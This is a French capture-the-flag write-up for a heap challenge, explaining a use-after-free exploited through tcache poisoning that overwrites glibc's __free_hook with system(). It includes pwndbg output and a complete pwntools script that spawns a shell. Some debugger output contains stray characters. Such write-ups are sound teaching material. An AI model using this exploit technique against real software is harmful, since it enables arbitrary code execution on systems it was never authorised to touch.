

Write UP - Moins cher que gratuit

Nous avons affaire à une faille du type Usa-After-Free :

Lorsque nous allouons quelques chunks dans l'ordre :

```
malloc(chunk0);  
malloc(chunk1);  
malloc(chunk2);
```

Puis que nous en désallouons 2 (nous n'avons pas besoin de plus pour réaliser l'exploit):

```
free(chunk0);  
free(chunk1);
```

Ici nous avons nos deux chunks dans la poubelle TCache, chunk1 → chunk0 → null

```
l f 2 0x7ffff7df1d0a __libc_start_main+234  
  
pwndbg> bins  
tcachebins  
0x30 [ 2]: 0x4062e0 → 0x4062b0 ← 0x0  
fastbins  
0x20: 0x0  
0x30: 0x0  
0x40: 0x0  
0x50: 0x0  
0x60: 0x0  
0x70: 0x0  
8 0x80: 0x0  
h unsortedbin  
all: 0x0  
smallbins  
empty  
largebins  
empty  
pwndbg> █
```

Lors de la suppression de chunk, nous avons la possibilité d'écrire dans le registre fd du free chunk :
Ce qui nous permet d'écrire par exemple l'adresse de __free_hook de la libc , en réalisant du TCache poisoning :

```
read(0, etagere[1], 0x20);
```

```

r 2 0x7ffff7d100a __libc_start_main+234
pwndbg> bins
tcachebins
0x30 [ 2]: 0x4062e0 → 0x7ffff7fa0190 (__free_hook) ← 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> █

```

Nous avons donc notre chunk1 → __free_hook :

Puis en réallouant de l'espace, vu que les tailles des chunks sont toujours les mêmes (0x20), malloc va venir récupérer l'adresse directement du free_hook :

```

malloc(chunk4);
malloc(chunk5);

```

Ce qui nous permet de récupérer chunk5 = free_hook. Nous venons ensuite écrire dans free_hook l'adresse de system() :

```

read(1, etagere[5], 0x20); // adresse de system()

```

Lors d'un prochain free(), free_hook sera appelée en passant comme paramètre l'adresse de la variable sous format de string. Donc si on récupère notre chunk4 par exemple :

```

read(1, etagere[4], 0x20); // "/bin/bash" ou "id" ou "whoami"

```

Puis qu'on le free(), ça nous donnera un free_hook → system("/bin/bash")

Et hop ! vous pouvez enjoy le shell :)

Voici l'exploit en python avec pwntools

```

#!/usr/bin/env python3
from pwn import *

exe = context.binary = ELF('./difficile')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')

def start(argv=[], *a, **kw):
    '''Start the exploit against the target or exploit with GDB in parallel (personally i use
    pwndbg but it change nothing)'''
    if args.GDB:

```

```

        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

### Here are function to read output of program of STDOUT and write the desired answer on STDIN

def Ajouter_un_jeu(index):
    io.sendlineafter(b'Inscrire le nom du jeu\n', b'0')
    io.sendlineafter(b'Place: ', str(index).encode())

def Supprimer_un_jeu(index):
    io.sendlineafter(b'Inscrire le nom du jeu\n', b'1')
    io.sendlineafter(b'Place: ', str(index).encode())

def Afficher_notre_jeu(index):
    io.sendlineafter(b'Inscrire le nom du jeu\n', b'2')
    io.sendlineafter(b'Place: ', str(index).encode())

def Inscrire_le_nom_du_jeu(index, data):
    io.sendlineafter(b'Inscrire le nom du jeu\n', b'3')
    io.sendlineafter(b'Place: ', str(index).encode())
    io.sendafter(b'Nom: ', data)

gdbscript = '''
b menu
continue
'''.format(*locals())

# -- Exploit goes here --

io = start()

print(io.recvline())
## pour récupérer l'adresse de base de la libc:
# gdb difficile
# (gdb) start
# (gdb) info proc mappings
# ...
# 0x7ffff7df5000 0x7ffff7e17000 0x22000 0x0 r--p /home/pwn03-chall-grootme/libc-2.31.so
# ...
#

libc.address = 0x7ffff7dce000

# We can start by allocating 3 chunk of memory
Ajouter_un_jeu(0)
Ajouter_un_jeu(1)
Ajouter_un_jeu(2)

# Then free 2 chunk
Supprimer_un_jeu(0)
Supprimer_un_jeu(1)

# We have actually in our bins chunk1 -> chunk0

```

```
# Here our Tcache_poisoning with Use After Free vulnerability !
```

```
Inscrire_le_nom_du_jeu(1, p64(libc.sym['__free_hook']))
```

```
# Now we have chunk1 -> __free_hook
```

```
# we get our chunk0
```

```
Ajouter_un_jeu(8)
```

```
# we get the pointer -> __free_hook
```

```
Ajouter_un_jeu(5)
```

```
# We now have __free_hook -> system
```

```
Inscrire_le_nom_du_jeu(5, p64(libc.sym['system']))
```

```
# system function will be called in next free() because of __free_hook
```

```
# then the system() will try to read the address of the chunk we are going to free as a string, so  
just
```

```
Inscrire_le_nom_du_jeu(8, b"/bin/sh")
```

```
Supprimer_un_jeu(8)
```

```
io.interactive()
```